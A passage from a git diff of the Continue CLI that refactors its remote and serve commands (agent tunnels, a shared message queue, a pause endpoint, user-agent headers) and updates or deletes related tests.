try { + const response = await post<{ url: string }>( + `agents/${encodeURIComponent(agentId)}/tunnel`, ); + return response.data.url; + } catch (error) { + if (error instanceof ApiRequestError) { + throw new Error( + `Failed to get tunnel for agent ${agentId}: ${error.response || error.statusText}`, + ); + } + throw error; } - const data = await resp.json(); - return data.url; } /** diff --git a/extensions/cli/src/commands/remote.test.ts b/extensions/cli/src/commands/remote.test.ts index e14e7105d..9a9c9f3f5 100644 --- a/extensions/cli/src/commands/remote.test.ts +++ b/extensions/cli/src/commands/remote.test.ts @@ -8,11 +8,13 @@ vi.mock("../env.js"); vi.mock("../telemetry/telemetryService.js"); vi.mock("../ui/index.js"); vi.mock("../util/git.js"); +vi.mock("../util/exit.js"); const mockWorkos = vi.mocked(await import("../auth/workos.js")); const mockEnv = vi.mocked(await import("../env.js")); const mockGit = vi.mocked(await import("../util/git.js")); const mockStartRemoteTUIChat = vi.mocked(await import("../ui/index.js")); +const mockExit = vi.mocked(await import("../util/exit.js")); // Mock fetch globally const mockFetch = vi.fn(); @@ -62,6 +64,10 @@ describe("remote command", () => { mockFetch.mockResolvedValue({ ok: true, + headers: { + get: (name: string) => + name === "content-type" ? "application/json" : null, + }, json: async () => ({ id: "test-agent-id", url: "ws://test-url.com", @@ -70,6 +76,9 @@ describe("remote command", () => { }); mockStartRemoteTUIChat.startRemoteTUIChat.mockResolvedValue({} as any); + + // Mock gracefulExit to prevent process.exit during tests + mockExit.gracefulExit.mockResolvedValue(undefined); }); it("should include idempotency key in request body when provided", async () => { @@ -78,7 +87,7 @@ describe("remote command", () => { await remote("test prompt", { idempotencyKey: testIdempotencyKey }); expect(mockFetch).toHaveBeenCalledWith( - new URL("agents/devboxes", mockEnv.env.apiBase), + new URL("agents", mockEnv.env.apiBase), expect.objectContaining({ method: "POST", headers: { @@ -96,7 +105,7 @@ describe("remote command", () => { await remote("test prompt", {}); expect(mockFetch).toHaveBeenCalledWith( - new URL("agents/devboxes", mockEnv.env.apiBase), + new URL("agents", mockEnv.env.apiBase), expect.objectContaining({ method: "POST", headers: { @@ -145,6 +154,89 @@ describe("remote command", () => { expect(mockConsoleLog).not.toHaveBeenCalled(); }); + it("should fetch tunnel and connect when id option is provided", async () => { + const agentId = "agent-789"; + + mockFetch + .mockResolvedValueOnce({ + ok: true, + headers: { + get: (name: string) => + name === "content-type" ? "application/json" : null, + }, + json: async () => ({ url: "ws://tunnel-url.com", port: 9090 }), + }) + .mockResolvedValue({ + ok: true, + headers: { + get: (name: string) => + name === "content-type" ? "application/json" : null, + }, + json: async () => ({ + id: "test-agent-id", + url: "ws://test-url.com", + port: 8080, + }), + }); + + await remote("test prompt", { id: agentId }); + + expect(mockFetch).toHaveBeenCalledWith( + new URL(`agents/${agentId}/tunnel`, mockEnv.env.apiBase), + expect.objectContaining({ + method: "POST", + headers: { + "Content-Type": "application/json", + Authorization: "Bearer test-token", + }, + }), + ); + + expect(mockStartRemoteTUIChat.startRemoteTUIChat).toHaveBeenCalledWith( + "ws://tunnel-url.com", + "test prompt", + ); + }); + + it("should output JSON without starting TUI when using --id with --start", async () => { + const agentId = "agent-456"; + const tunnelResponse = { url: "ws://existing-tunnel.com", port: 7070 }; + + mockFetch.mockResolvedValueOnce({ + ok: true, + headers: { + get: (name: string) => + name === "content-type" ? "application/json" : null, + }, + json: async () => tunnelResponse, + }); + + await remote("test prompt", { id: agentId, start: true }); + + expect(mockFetch).toHaveBeenCalledWith( + new URL(`agents/${agentId}/tunnel`, mockEnv.env.apiBase), + expect.objectContaining({ + method: "POST", + headers: { + "Content-Type": "application/json", + Authorization: "Bearer test-token", + }, + }), + ); + + expect(mockStartRemoteTUIChat.startRemoteTUIChat).not.toHaveBeenCalled(); + expect(mockConsoleLog).toHaveBeenCalledWith( + JSON.stringify({ + status: "success", + message: "Remote agent tunnel connection details", + url: tunnelResponse.url, + containerPort: tunnelResponse.port, + agentId, + mode: "existing_agent", + }), + ); + }); + it("should handle proper request body structure with all fields", async () => { const testIdempotencyKey = "structured-test-key"; @@ -190,7 +282,7 @@ describe("remote command", () => { await remote("test prompt", { branch: testBranch }); expect(mockFetch).toHaveBeenCalledWith( - new URL("agents/devboxes", mockEnv.env.apiBase), + new URL("agents", mockEnv.env.apiBase), expect.objectContaining({ method: "POST", headers: { @@ -206,7 +298,7 @@ describe("remote command", () => { await remote("test prompt", {}); expect(mockFetch).toHaveBeenCalledWith( - new URL("agents/devboxes", mockEnv.env.apiBase), + new URL("agents", mockEnv.env.apiBase), expect.objectContaining({ method: "POST", headers: { @@ -247,7 +339,7 @@ describe("remote command", () => { await remote("test prompt", { config: testConfig }); expect(mockFetch).toHaveBeenCalledWith( - new URL("agents/devboxes", mockEnv.env.apiBase), + new URL("agents", mockEnv.env.apiBase), expect.objectContaining({ method: "POST", headers: { @@ -259,9 +351,34 @@ describe("remote command", () => { ); expect(mockFetch).toHaveBeenCalledWith( - new URL("agents/devboxes", mockEnv.env.apiBase), + new URL("agents", mockEnv.env.apiBase), expect.objectContaining({ - body: expect.stringContaining(`"agent":"${testConfig}"`), + body: expect.stringContaining(`"config":"${testConfig}"`), + }), + ); + }); + + it("should include agent in request body when agent option is provided", async () => { + const testAgent = "test-agent"; + + await remote("test prompt", { agent: testAgent }); + + expect(mockFetch).toHaveBeenCalledWith( + new URL("agents", mockEnv.env.apiBase), + expect.objectContaining({ + method: "POST", + headers: { + "Content-Type": "application/json", + Authorization: "Bearer test-token", + }, + body: expect.stringContaining(`"agent":"${testAgent}"`), + }), + ); + + expect(mockFetch).toHaveBeenCalledWith( + new URL("agents", mockEnv.env.apiBase), + expect.objectContaining({ + body: expect.stringContaining(`"agent":"${testAgent}"`), }), ); }); @@ -283,11 +400,31 @@ describe("remote command", () => { name: expect.stringMatching(/^devbox-\d+$/), prompt: "test prompt", idempotencyKey: testIdempotencyKey, - agent: testConfig, config: testConfig, }); }); + it("should handle proper request body structure with agent field", async () => { + const testAgent = "my-agent"; + const testIdempotencyKey = "test-with-config"; + + await remote("test prompt", { + agent: testAgent, + idempotencyKey: testIdempotencyKey, + }); + + const fetchCall = mockFetch.mock.calls[0]; + const requestBody = JSON.parse(fetchCall[1].body); + + expect(requestBody).toEqual({ + repoUrl: "https://github.com/user/test-repo.git", + name: expect.stringMatching(/^devbox-\d+$/), + prompt: "test prompt", + idempotencyKey: testIdempotencyKey, + agent: testAgent, + }); + }); + it("should not include config in request body when config option is not provided", async () => { await remote("test prompt", {}); @@ -298,10 +435,10 @@ describe("remote command", () => { repoUrl: "https://github.com/user/test-repo.git", name: expect.stringMatching(/^devbox-\d+$/), prompt: "test prompt", - idempotencyKey: undefined, agent: undefined, config: undefined, }); + expect(requestBody).not.toHaveProperty("idempotencyKey"); }); describe("start mode (-s / --start flag)", () => { @@ -332,7 +469,7 @@ describe("remote command", () => { // Should make POST request to create environment expect(mockFetch).toHaveBeenCalledWith( - new URL("agents/devboxes", mockEnv.env.apiBase), + new URL("agents", mockEnv.env.apiBase), expect.objectContaining({ method: "POST", headers: { diff --git a/extensions/cli/src/commands/remote.ts b/extensions/cli/src/commands/remote.ts index f81a2d060..040afa1b1 100644 --- a/extensions/cli/src/commands/remote.ts +++ b/extensions/cli/src/commands/remote.ts @@ -1,163 +1,227 @@ import chalk from "chalk"; -import { getAccessToken, loadAuthConfig } from "../auth/workos.js"; import { env } from "../env.js"; import { telemetryService } from "../telemetry/telemetryService.js"; import { startRemoteTUIChat } from "../ui/index.js"; +import { + ApiRequestError, + AuthenticationRequiredError, + post, +} from "../util/apiClient.js"; import { gracefulExit } from "../util/exit.js"; import { getRepoUrl } from "../util/git.js"; import { logger } from "../util/logger.js"; import { readStdinSync } from "../util/stdin.js"; +type RemoteCommandOptions = { + url?: string; + id?: string; + idempotencyKey?: string; + start?: boolean; + branch?: string; + repo?: string; + config?: string; + agent?: string; +}; + +type TunnelResponse = { + url: string; + port?: number; +}; + +type AgentCreationResponse = TunnelResponse & { + id: string; +}; + export async function remote( prompt: string | undefined, - options: { - url?: string; - idempotencyKey?: string; - start?: boolean; - branch?: string; - repo?: string; - config?: string; - } = {}, + options: RemoteCommandOptions = {}, ) { - // Check if prompt should come from stdin instead of parameter - let actualPrompt = prompt; - if (prompt) { - // If prompt is provided, still check for stdin and combine them - const stdinInput = readStdinSync(); - if (stdinInput) { - // Combine stdin and prompt argument - stdin comes first in XML block - actualPrompt = `\n${stdinInput}\n\n\n${prompt}`; - } - } else { - // Try to read from stdin (for piped input like: echo "hello" | cn remote -s) - const stdinInput = readStdinSync(); - if (stdinInput) { - actualPrompt = stdinInput; - } - } - // If --url is provided, connect directly to that URL - if (options.url) { - if (options.start) { - // In start mode, output connection details as JSON and exit - console.log( - JSON.stringify({ - status: "success", - message: "Remote environment connection details", - url: options.url, - mode: "direct_url", - }), - ); + const actualPrompt = resolvePrompt(prompt); + + try { + if (options.url) { + await connectToRemoteUrl(options.url, actualPrompt, options.start); return; } - console.info( - chalk.white(`Connecting to remote environment at: ${options.url}`), - ); - - // Record session start - telemetryService.recordSessionStart(); - telemetryService.startActiveTime(); - - try { - // Start the TUI in remote mode - await startRemoteTUIChat(options.url, actualPrompt); - } finally { - telemetryService.stopActiveTime(); + if (options.id) { + await connectExistingAgent(options.id, actualPrompt, options.start); + return; } + + await createAndConnectRemoteEnvironment(actualPrompt, options); + } catch (error) { + await handleRemoteError(error); + } +} + +function resolvePrompt(prompt: string | undefined): string | undefined { + const stdinInput = readStdinSync(); + + if (!stdinInput) { + return prompt; + } + + if (!prompt) { + return stdinInput; + } + + return `\n${stdinInput}\n\n\n${prompt}`; +} + +async function connectToRemoteUrl( + remoteUrl: string, + prompt: string | undefined, + startOnly?: boolean, +) { + if (startOnly) { + printStartJson({ + status: "success", + message: "Remote environment connection details", + url: remoteUrl, + mode: "direct_url", + }); return; } - try { - const authConfig = loadAuthConfig(); + console.info( + chalk.white(`Connecting to remote environment at: ${remoteUrl}`), + ); + await launchRemoteTUI(remoteUrl, prompt); +} - // Check if we have any valid authentication (file-based or environment variable) - if (!authConfig || !getAccessToken(authConfig)) { - console.error( - chalk.red("Not authenticated. Please run 'cn login' first."), - ); - await gracefulExit(1); - } +async function connectExistingAgent( + agentId: string, + prompt: string | undefined, + startOnly?: boolean, +) { + const tunnel = await fetchAgentTunnel(agentId); - const accessToken = getAccessToken(authConfig); - - const requestBody: any = { - repoUrl: options.repo || getRepoUrl(), - name: `devbox-${Date.now()}`, - prompt: actualPrompt, - idempotencyKey: options.idempotencyKey, - agent: options.config, - config: options.config, - }; - - // Add branchName to request body if branch option is provided - if (options.branch) { - requestBody.branchName = options.branch; - } - - const response = await fetch(new URL("agents/devboxes", env.apiBase), { - method: "POST", - headers: { - "Content-Type": "application/json", - Authorization: `Bearer ${accessToken}`, - }, - body: JSON.stringify(requestBody), + if (startOnly) { + printStartJson({ + status: "success", + message: "Remote agent tunnel connection details", + url: tunnel.url, + containerPort: tunnel.port, + agentId, + mode: "existing_agent", }); + return; + } - if (!response.ok) { - const errorText = await response.text(); + console.info( + chalk.white(`Connecting to remote agent tunnel at: ${tunnel.url}`), + ); + await launchRemoteTUI(tunnel.url, prompt); +} + +async function createAndConnectRemoteEnvironment( + prompt: string | undefined, + options: RemoteCommandOptions, +) { + const requestBody = buildAgentRequestBody(options, prompt); + + let result: AgentCreationResponse; + try { + const response = await post("agents", requestBody); + result = response.data; + } catch (error) { + if (error instanceof ApiRequestError) { throw new Error( - `Failed to create remote environment: ${response.status} ${errorText}`, + `Failed to create remote environment: ${error.status} ${error.response || error.statusText}`, ); } + throw error; + } - const result = await response.json(); + if (options.start) { + printStartJson({ + status: "success", + message: "Remote development environment created successfully", + url: `${env.appUrl}/agents/${result.id}`, + containerUrl: result.url, + containerPort: result.port, + name: requestBody.name, + mode: "new_environment", + }); + return; + } - if (options.start) { - // In start mode, output connection details as JSON and exit - console.log( - JSON.stringify({ - status: "success", - message: "Remote development environment created successfully", - url: `${env.appUrl}/agents/${result.id}`, - containerUrl: result.url, - containerPort: result.port, - name: requestBody.name, - mode: "new_environment", - }), - ); - return; - } + console.info( + chalk.green("✅ Remote development environment created successfully!"), + ); - console.info( - chalk.green("✅ Remote development environment created successfully!"), - ); + if (!result.url) { + throw new Error("No URL returned from remote environment creation"); + } - if (result.url && result.port) { - const remoteUrl = result.url; - console.info( - chalk.white(`Connecting to remote environment at: ${remoteUrl}`), - ); + console.info( + chalk.white(`Connecting to remote environment at: ${result.url}`), + ); + await launchRemoteTUI(result.url, prompt); +} - // Record session start - telemetryService.recordSessionStart(); - telemetryService.startActiveTime(); +function buildAgentRequestBody( + options: RemoteCommandOptions, + prompt: string | undefined, +) { + const body: Record = { + repoUrl: options.repo ?? getRepoUrl(), + name: `devbox-${Date.now()}`, + prompt, + agent: options.agent, + config: options.config, + }; - try { - // Start the TUI in remote mode (prompt is optional) - await startRemoteTUIChat(remoteUrl, actualPrompt); - } finally { - telemetryService.stopActiveTime(); - } - } else { + if (options.idempotencyKey) { + body.idempotencyKey = options.idempotencyKey; + } + + if (options.branch) { + body.branchName = options.branch; + } + + return body; +} + +async function fetchAgentTunnel(agentId: string) { + try { + const response = await post(`agents/${agentId}/tunnel`); + return response.data; + } catch (error) { + if (error instanceof ApiRequestError) { throw new Error( - "No URL or port returned from remote environment creation", + `Failed to create tunnel for agent ${agentId}: ${error.status} ${error.response || error.statusText}`, ); } - } catch (error: any) { - logger.error( - chalk.red(`Failed to create remote environment: ${error.message}`), - ); - await gracefulExit(1); + throw error; } } + +async function launchRemoteTUI(remoteUrl: string, prompt: string | undefined) { + telemetryService.recordSessionStart(); + telemetryService.startActiveTime(); + + try { + await startRemoteTUIChat(remoteUrl, prompt); + } finally { + telemetryService.stopActiveTime(); + } +} + +function printStartJson(payload: Record) { + console.log(JSON.stringify(payload)); +} + +async function handleRemoteError(error: unknown) { + if (error instanceof AuthenticationRequiredError) { + logger.error(chalk.red(error.message)); + } else if (error instanceof Error) { + logger.error(chalk.red(error.message)); + } else { + logger.error(chalk.red("An unknown error occurred while starting remote")); + } + + await gracefulExit(1); +} diff --git a/extensions/cli/src/commands/serve.helpers.ts b/extensions/cli/src/commands/serve.helpers.ts index 82ca902ea..51db4d9d0 100644 --- a/extensions/cli/src/commands/serve.helpers.ts +++ b/extensions/cli/src/commands/serve.helpers.ts @@ -119,9 +119,7 @@ export interface ServerState { model: any; isProcessing: boolean; lastActivity: number; - messageQueue: string[]; currentAbortController: AbortController | null; - shouldInterrupt: boolean; serverRunning: boolean; pendingPermission: PendingPermission | null; systemMessage?: string; diff --git a/extensions/cli/src/commands/serve.ts b/extensions/cli/src/commands/serve.ts index d554230e6..5f78155b2 100644 --- a/extensions/cli/src/commands/serve.ts +++ b/extensions/cli/src/commands/serve.ts @@ -2,7 +2,12 @@ import chalk from "chalk"; import type { ChatHistoryItem } from "core/index.js"; import express, { Request, Response } from "express"; +import { ToolPermissionServiceState } from "src/services/ToolPermissionService.js"; +import { posthogService } from "src/telemetry/posthogService.js"; +import { prependPrompt } from "src/util/promptProcessor.js"; + import { getAccessToken, getAssistantSlug } from "../auth/workos.js"; +import { runEnvironmentInstallSafe } from "../environment/environmentHandler.js"; import { processCommandFlags } from "../flags/flagProcessor.js"; import { toolPermissionManager } from "../permissions/permissionManager.js"; import { @@ -12,11 +17,13 @@ import { services, } from "../services/index.js"; import { + AgentFileServiceState, AuthServiceState, ConfigServiceState, ModelServiceState, } from "../services/types.js"; -import { createSession, getSessionPersistenceSnapshot } from "../session.js"; +import { createSession, getCompleteStateSnapshot } from "../session.js"; +import { messageQueue } from "../stream/messageQueue.js"; import { constructSystemMessage } from "../systemMessage.js"; import { telemetryService } from "../telemetry/telemetryService.js"; import { gracefulExit } from "../util/exit.js"; @@ -40,6 +47,8 @@ interface ServeOptions extends ExtendedCommandOptions { // eslint-disable-next-line max-statements export async function serve(prompt?: string, options: ServeOptions = {}) { + await posthogService.capture("sessionStart", {}); + // Check if prompt should come from stdin instead of parameter let actualPrompt = prompt; if (!prompt) { @@ -54,6 +63,8 @@ export async function serve(prompt?: string, options: ServeOptions = {}) { const timeoutMs = timeoutSeconds * 1000; const port = parseInt(options.port || "8000", 10); + // Environment install script will be deferred until after server startup to avoid blocking + // Initialize services with tool permission overrides const { permissionOverrides } = processCommandFlags(options); @@ -64,10 +75,13 @@ export async function serve(prompt?: string, options: ServeOptions = {}) { }); // Get initialized services from the service container - const [configState, modelState] = await Promise.all([ - getService(SERVICE_NAMES.CONFIG), - getService(SERVICE_NAMES.MODEL), - ]); + const [configState, modelState, permissionsState, agentFileState] = + await Promise.all([ + getService(SERVICE_NAMES.CONFIG), + getService(SERVICE_NAMES.MODEL), + getService(SERVICE_NAMES.TOOL_PERMISSIONS), + getService(SERVICE_NAMES.AGENT_FILE), + ]); if (!configState.config || !modelState.llmApi || !modelState.model) { throw new Error("Failed to initialize required services"); @@ -109,6 +123,7 @@ export async function serve(prompt?: string, options: ServeOptions = {}) { // Initialize session with system message const systemMessage = await constructSystemMessage( + permissionsState.currentMode, options.rule, undefined, true, @@ -138,9 +153,7 @@ export async function serve(prompt?: string, options: ServeOptions = {}) { model, isProcessing: false, lastActivity: Date.now(), - messageQueue: [], currentAbortController: null, - shouldInterrupt: false, serverRunning: true, pendingPermission: null, }; @@ -160,7 +173,13 @@ export async function serve(prompt?: string, options: ServeOptions = {}) { storageOption: options.id, accessToken, syncSessionHistory, - getSessionSnapshot: () => getSessionPersistenceSnapshot(state.session), + getCompleteStateSnapshot: () => + getCompleteStateSnapshot( + state.session, + state.isProcessing, + messageQueue.getQueueLength(), + state.pendingPermission, + ), isActive: () => state.serverRunning, }); @@ -182,12 +201,13 @@ export async function serve(prompt?: string, options: ServeOptions = {}) { app.get("/state", (_req: Request, res: Response) => { state.lastActivity = Date.now(); syncSessionHistory(); - res.json({ - session: state.session, // Return session directly instead of converting - isProcessing: state.isProcessing, - messageQueueLength: state.messageQueue.length, - pendingPermission: state.pendingPermission, - }); + const stateSnapshot = getCompleteStateSnapshot( + state.session, + state.isProcessing, + messageQueue.getQueueLength(), + state.pendingPermission, + ); + res.json(stateSnapshot); }); // POST /message - Queue a message and potentially interrupt @@ -200,17 +220,11 @@ export async function serve(prompt?: string, options: ServeOptions = {}) { } // Queue the message - state.messageQueue.push(message); - - // If currently processing, set interrupt flag - if (state.isProcessing && state.currentAbortController) { - state.shouldInterrupt = true; - } + await messageQueue.enqueueMessage(message); res.json({ queued: true, - position: state.messageQueue.length, - willInterrupt: state.shouldInterrupt, + position: messageQueue.getQueueLength(), }); // Process messages if not already processing @@ -252,6 +266,32 @@ export async function serve(prompt?: string, options: ServeOptions = {}) { }); }); + // POST /pause - Pause the current agent run (like pressing escape in TUI) + app.post("/pause", async (_req: Request, res: Response) => { + state.lastActivity = Date.now(); + + // Check if there's anything to pause + if (!state.isProcessing) { + return res.json({ + success: false, + message: "No active processing to pause", + }); + } + + // Abort the current processing + if (state.currentAbortController) { + state.currentAbortController.abort(); + } + + // Set isProcessing to false + state.isProcessing = false; + + res.json({ + success: true, + message: "Agent run paused", + }); + }); + // GET /diff - Return git diff against main branch app.get("/diff", async (_req: Request, res: Response) => { state.lastActivity = Date.now(); @@ -303,9 +343,6 @@ export async function serve(prompt?: string, options: ServeOptions = {}) { state.currentAbortController.abort(); } - // Clear the message queue - state.messageQueue = []; - // Clean up intervals if (inactivityChecker) { clearInterval(inactivityChecker); @@ -325,7 +362,7 @@ export async function serve(prompt?: string, options: ServeOptions = {}) { setTimeout(handleExitResponse, 100); }); - const server = app.listen(port, () => { + const server = app.listen(port, async () => { console.log(chalk.green(`Server started on http://localhost:${port}`)); console.log(chalk.dim("Endpoints:")); console.log(chalk.dim(" GET /state - Get current agent state")); @@ -339,6 +376,7 @@ export async function serve(prompt?: string, options: ServeOptions = {}) { " POST /permission - Approve/reject tool (body: { requestId, approved })", ), ); + console.log(chalk.dim(" POST /pause - Pause the current agent run")); console.log( chalk.dim(" GET /diff - Get git diff against main branch"), ); @@ -351,10 +389,17 @@ export async function serve(prompt?: string, options: ServeOptions = {}) { ), ); + // Run environment install script after server startup + runEnvironmentInstallSafe(); + // If initial prompt provided, queue it for processing - if (actualPrompt) { + const initialPrompt = prependPrompt( + agentFileState?.agentFile?.prompt, + actualPrompt, + ); + if (initialPrompt) { console.log(chalk.dim("\nProcessing initial prompt...")); - state.messageQueue.push(actualPrompt); + await messageQueue.enqueueMessage(initialPrompt); processMessages(state, llmApi); } }); @@ -382,11 +427,17 @@ export async function serve(prompt?: string, options: ServeOptions = {}) { } async function processMessages(state: ServerState, llmApi: any) { - while (state.messageQueue.length > 0 && state.serverRunning) { - const userMessage = state.messageQueue.shift()!; + let processedMessage = false; + while (state.serverRunning) { + const queuedMessage = messageQueue.getNextMessage(); + if (!queuedMessage) { + break; + } + + const userMessage = queuedMessage.message; state.isProcessing = true; - state.shouldInterrupt = false; state.lastActivity = Date.now(); + processedMessage = true; // Add user message via ChatHistoryService (single source of truth) try { @@ -408,7 +459,7 @@ export async function serve(prompt?: string, options: ServeOptions = {}) { state, llmApi, state.currentAbortController, - () => state.shouldInterrupt, + () => false, ); // No direct persistence here; ChatHistoryService handles persistence when appropriate @@ -437,6 +488,14 @@ export async function serve(prompt?: string, options: ServeOptions = {}) { state.isProcessing = false; } } + + if ( + processedMessage && + state.serverRunning && + messageQueue.getQueueLength() === 0 + ) { + await storageSyncService.markAgentStatusUnread(); + } } // Check for inactivity and shutdown diff --git a/extensions/cli/src/config.ts b/extensions/cli/src/config.ts index 6c97767bc..f26e1de2c 100644 --- a/extensions/cli/src/config.ts +++ b/extensions/cli/src/config.ts @@ -7,7 +7,6 @@ import { import { Configuration, DefaultApi, - DefaultApiInterface, } from "@continuedev/sdk/dist/api/dist/index.js"; import { @@ -15,9 +14,33 @@ import { getAccessToken, getOrganizationId, } from "./auth/workos.js"; -import { loadConfiguration } from "./configLoader.js"; import { env } from "./env.js"; -import { MCPService } from "./services/MCPService.js"; +import { posthogService } from "./telemetry/posthogService.js"; +import { getVersion } from "./version.js"; + +/** + * Creates user-agent header value for CLI requests + */ +function getUserAgent(): string { + const version = getVersion(); + return `Continue-CLI/${version}`; +} + +/** + * Merges user-agent header into request options + */ +function mergeUserAgentIntoRequestOptions( + requestOptions: ModelConfig["requestOptions"], +): ModelConfig["requestOptions"] { + return { + ...requestOptions, + headers: { + ...requestOptions?.headers, + "user-agent": getUserAgent(), + "x-continue-unique-id": posthogService.uniqueId, + }, + }; +} /** * Creates an LLM API instance from a ModelConfig and auth configuration @@ -34,7 +57,9 @@ export function createLlmApi( model.provider === "continue-proxy" ? { provider: model.provider, - requestOptions: model.requestOptions, + requestOptions: mergeUserAgentIntoRequestOptions( + model.requestOptions, + ), apiBase: model.apiBase, apiKey: accessToken ?? undefined, env: { @@ -42,7 +67,7 @@ export function createLlmApi( orgScopeId: organizationId ?? null, proxyUrl: (model as { onPremProxyUrl: string | undefined }) - .onPremProxyUrl ?? undefined, + .onPremProxyUrl ?? (env.apiBase ? env.apiBase : undefined), }, } : { @@ -96,23 +121,3 @@ export function getApiClient( }), ); } - -export async function initialize( - authConfig: AuthConfig, - configPath: string | undefined, -): Promise<{ - config: AssistantUnrolled; - llmApi: BaseLlmApi; - model: ModelConfig; - mcpService: MCPService; - apiClient: DefaultApiInterface; -}> { - const apiClient = getApiClient(authConfig?.accessToken); - const result = await loadConfiguration(authConfig, configPath, apiClient); - const config = result.config; - const [llmApi, model] = getLlmApi(config, authConfig); - const mcpService = new MCPService(); - await mcpService.initialize(config, false); - - return { config, llmApi, model, mcpService, apiClient }; -} diff --git a/extensions/cli/src/configEnhancer.test.ts b/extensions/cli/src/configEnhancer.test.ts deleted file mode 100644 index bbee50c0b..000000000 --- a/extensions/cli/src/configEnhancer.test.ts +++ /dev/null @@ -1,202 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from "vitest"; - -import { BaseCommandOptions } from "./commands/BaseCommandOptions.js"; -import { ConfigEnhancer } from "./configEnhancer.js"; - -// Mock processRule to simulate hub loading -vi.mock("./hubLoader.js", () => ({ - processRule: vi.fn((rule: string) => { - // Simulate hub slug loading - if (rule.includes("/") && !rule.startsWith(".") && !rule.startsWith("/")) { - return Promise.resolve(`Content for ${rule}`); - } - // Return as-is for direct content - return Promise.resolve(rule); - }), - loadPackagesFromHub: vi.fn(() => Promise.resolve([])), - mcpProcessor: {}, - modelProcessor: {}, -})); - -describe("ConfigEnhancer", () => { - let enhancer: ConfigEnhancer; - let mockConfig: any; - - beforeEach(() => { - enhancer = new ConfigEnhancer(); - mockConfig = { - name: "test-config", - version: "1.0.0", - models: [], - mcpServers: [], - } as any; - vi.clearAllMocks(); - }); - - it("should return unchanged config when no enhancements provided", async () => { - const config = await enhancer.enhanceConfig(mockConfig, {}); - - expect(config).toEqual(mockConfig); - }); - - it("should apply rules enhancement", async () => { - const options: BaseCommandOptions = { - rule: ["test-rule"], - }; - - const config = await enhancer.enhanceConfig(mockConfig, options); - - expect(config.rules).toEqual(["test-rule"]); - }); - - it("should apply multiple enhancements", async () => { - const options: BaseCommandOptions = { - rule: ["rule1", "rule2"], - mcp: [], - }; - - const config = await enhancer.enhanceConfig(mockConfig, options); - - expect(config.rules).toEqual(["rule1", "rule2"]); - }); - - it("should preserve existing rules when adding new ones", async () => { - mockConfig.rules = ["existing rule"]; - const options: BaseCommandOptions = { - rule: ["new rule"], - }; - - const config = await enhancer.enhanceConfig(mockConfig, options); - - expect(config.rules).toEqual(["existing rule", "new rule"]); - }); - - it("should not mutate original config", async () => { - const originalConfig = { ...mockConfig }; - const options: BaseCommandOptions = { - rule: ["test-rule"], - }; - - await enhancer.enhanceConfig(mockConfig, options); - - expect(mockConfig).toEqual(originalConfig); - }); - - it("should preserve hub slug as rule name", async () => { - const options: BaseCommandOptions = { - rule: ["nate/spanish"], - }; - - const config = await enhancer.enhanceConfig(mockConfig, options); - - expect(config.rules).toHaveLength(1); - expect(config.rules?.[0]).toEqual({ - name: "nate/spanish", - rule: "Content for nate/spanish", - }); - }); - - it("should handle mix of hub slugs and direct content", async () => { - const options: BaseCommandOptions = { - rule: ["nate/spanish", "Always be helpful", "org/another-rule"], - }; - - const config = await enhancer.enhanceConfig(mockConfig, options); - - expect(config.rules).toHaveLength(3); - expect(config.rules?.[0]).toEqual({ - name: "nate/spanish", - rule: "Content for nate/spanish", - }); - expect(config.rules?.[1]).toBe("Always be helpful"); - expect(config.rules?.[2]).toEqual({ - name: "org/another-rule", - rule: "Content for org/another-rule", - }); - }); - - it("should treat file paths as plain strings", async () => { - const options: BaseCommandOptions = { - rule: ["./rules/my-rule.md", "/absolute/path/rule.txt"], - }; - - const config = await enhancer.enhanceConfig(mockConfig, options); - - expect(config.rules).toHaveLength(2); - // File paths should be stored as plain strings - expect(config.rules?.[0]).toBe("./rules/my-rule.md"); - expect(config.rules?.[1]).toBe("/absolute/path/rule.txt"); - }); - - it("should prepend models from --model flag to make them default", async () => { - // Mock loadPackagesFromHub to return test models - const { loadPackagesFromHub } = await import("./hubLoader.js"); - (loadPackagesFromHub as any).mockResolvedValueOnce([ - { name: "GPT-5", provider: "openai", model: "gpt-5" }, - { name: "Claude-3", provider: "anthropic", model: "claude-3" }, - ]); - - // Set up existing models in config - mockConfig.models = [ - { name: "GPT-4", provider: "openai", model: "gpt-4" }, - { name: "Claude-2", provider: "anthropic", model: "claude-2" }, - ]; - - const options: BaseCommandOptions = { - model: ["openai/gpt-5", "anthropic/claude-3"], - }; - - const config = await enhancer.enhanceConfig(mockConfig, options); - - // Models from --model flag should be prepended (at the start) - expect(config.models).toHaveLength(4); - expect(config.models?.[0]).toEqual({ - name: "GPT-5", - provider: "openai", - model: "gpt-5", - }); - expect(config.models?.[1]).toEqual({ - name: "Claude-3", - provider: "anthropic", - model: "claude-3", - }); - expect(config.models?.[2]).toEqual({ - name: "GPT-4", - provider: "openai", - model: "gpt-4", - }); - expect(config.models?.[3]).toEqual({ - name: "Claude-2", - provider: "anthropic", - model: "claude-2", - }); - }); - - it("should prepend MCPs from --mcp flag", async () => { - // Mock loadPackagesFromHub to return test MCPs - const { loadPackagesFromHub } = await import("./hubLoader.js"); - (loadPackagesFromHub as any).mockResolvedValueOnce([ - { name: "New-MCP", command: "new-mcp" }, - ]); - - // Set up existing MCPs in config - mockConfig.mcpServers = [{ name: "Existing-MCP", command: "existing-mcp" }]; - - const options: BaseCommandOptions = { - mcp: ["test/new-mcp"], - }; - - const config = await enhancer.enhanceConfig(mockConfig, options); - - // MCPs from --mcp flag should be prepended (at the start) - expect(config.mcpServers).toHaveLength(2); - expect(config.mcpServers?.[0]).toEqual({ - name: "New-MCP", - command: "new-mcp", - }); - expect(config.mcpServers?.[1]).toEqual({ - name: "Existing-MCP", - command: "existing-mcp", - }); - }); -}); diff --git a/extensions/cli/src/configEnhancer.ts b/extensions/cli/src/configEnhancer.ts deleted file mode 100644 index ee1c9b254..000000000 --- a/extensions/cli/src/configEnhancer.ts +++ /dev/null @@ -1,153 +0,0 @@ -import { AssistantUnrolled, Rule } from "@continuedev/config-yaml"; - -import { BaseCommandOptions } from "./commands/BaseCommandOptions.js"; -import { - loadPackagesFromHub, - mcpProcessor, - modelProcessor, - processRule, -} from "./hubLoader.js"; -import { logger } from "./util/logger.js"; - -/** - * Enhances a configuration by injecting additional components from CLI flags - */ -export class ConfigEnhancer { - /** - * Apply all enhancements to a configuration - */ - async enhanceConfig( - config: AssistantUnrolled, - options: BaseCommandOptions, - ): Promise { - let enhancedConfig = { ...config }; - - // Apply rules - if (options.rule && options.rule.length > 0) { - enhancedConfig = await this.injectRules(enhancedConfig, options.rule); - } - - // Apply MCPs - if (options.mcp && options.mcp.length > 0) { - enhancedConfig = await 